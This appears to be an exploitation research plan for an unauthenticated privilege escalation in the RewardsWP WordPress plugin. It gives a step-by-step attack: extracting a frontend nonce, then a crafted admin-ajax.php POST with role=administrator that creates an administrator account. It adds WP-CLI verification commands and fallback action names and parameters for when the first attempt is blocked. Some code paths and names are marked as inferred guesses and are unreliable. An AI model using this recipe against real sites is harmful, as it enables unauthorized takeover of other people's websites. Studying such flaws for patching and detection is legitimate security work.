Exploitation Research Plan: CVE-2026-32520 (RewardsWP Privilege Escalation)

1. Vulnerability Summary

The RewardsWP – Loyalty Points & Referral Program for WooCommerce plugin (<= 1.0.4) contains an unauthenticated privilege escalation vulnerability. The vulnerability exists because the plugin registers an AJAX action (rewardswp_register_member) intended for loyalty program registration but fails to restrict the role parameter during the WordPress user creation process. An attacker can supply role=administrator in the request to create a new account with full administrative privileges.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: rewardswp_register_member (unauthenticated via wp_ajax_nopriv_)
• Vulnerable Parameter: role
• Authentication: None required (unauthenticated).
• Preconditions:
  • The plugin must be active.
  • The "Join" or "Registration" feature must be accessible (usually enabled by default in the rewards widget).
  • A valid frontend nonce must be obtained from the rewardswpMainVars JavaScript object.

3. Code Flow

1. The plugin registers the unauthenticated AJAX handler:
   add_action( 'wp_ajax_nopriv_rewardswp_register_member', [ $this, 'register_member' ] );
2. The register_member method (likely in src/Controllers/Frontend/RegistrationController.php or similar, inferred from POT) retrieves the registration data from $_POST.
3. The controller passes the input array to a user creation function, such as wp_insert_user() or a wrapper in src/Models/Member.php.
4. Because the code does not filter the role key or hardcode it to subscriber, wp_insert_user() processes the role value provided by the attacker.
5. WordPress creates the user and assigns the administrator role.

4. Nonce Acquisition Strategy

The plugin exposes a nonce to the frontend via wp_localize_script.

1. Identify the variable: Based on assets/js/shared/alpine-components/rewards-panel.js, the global variable is rewardswpMainVars.
2. Locate the nonce: The nonce is stored in rewardswpMainVars.nonce.
3. Procedure:
   • Navigate to the WordPress homepage or a page where the RewardsWP panel is active.
   • To ensure the panel is active, navigate to /?rewardswp=join.
   • Use browser_eval to extract the nonce:

     window.rewardswpMainVars?.nonce
     

5. Exploitation Strategy

The exploit involves sending a crafted POST request to admin-ajax.php.

Step-by-Step Plan:

1. Extract Nonce: Access the site and extract the nonce from rewardswpMainVars.
2. Submit Registration: Perform a POST request to register a new admin.

HTTP Request Details:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: rewardswp_register_member
  • nonce: [EXTRACTED_NONCE]
  • email: attacker-admin@example.com
  • username: attackeradmin
  • password: P@ssword123!
  • first_name: Security
  • last_name: Researcher
  • role: administrator <-- The Payload

6. Test Data Setup

1. Install and activate WooCommerce (dependency).
2. Install and activate RewardsWP version 1.0.4.
3. Ensure the "Member Registration" or "Join" feature is active in RewardsWP settings (usually default).
4. Create a test page with the rewards panel if not visible on the homepage:
   wp post create --post_type=page --post_status=publish --post_title="Rewards" --post_content="[rewardswp_panel]" (inferred shortcode).

7. Expected Results

• Response Code: 200 OK or 302 Redirect.
• Response Body: A JSON success message (e.g., {"success":true,"data":{...}}) or a redirect to a "Registration Successful" page.
• Database Impact: A new user with the username attackeradmin will be present in the wp_users table, and their capabilities in wp_usermeta will include the administrator role.

8. Verification Steps

After the exploit, verify using WP-CLI:

1. Check User Existence:
   wp user list --role=administrator
2. Check Specific User:
   wp user get attackeradmin --field=roles
   Expected output: administrator
3. Check Meta:
   wp user meta get attackeradmin wp_capabilities

9. Alternative Approaches

If rewardswp_register_member is not the correct action name (due to version differences), try these alternatives:

• rewardswp_signup
• rewardswp_join_program
• rewardswp_create_account

If the role parameter is blocked, try user_role or wp_capabilities[administrator].

If the nonce check is not present in nopriv actions (common in some versions), simply omit the nonce parameter and test the request. If the response indicates a missing nonce, fallback to the browser-based extraction described in section 4.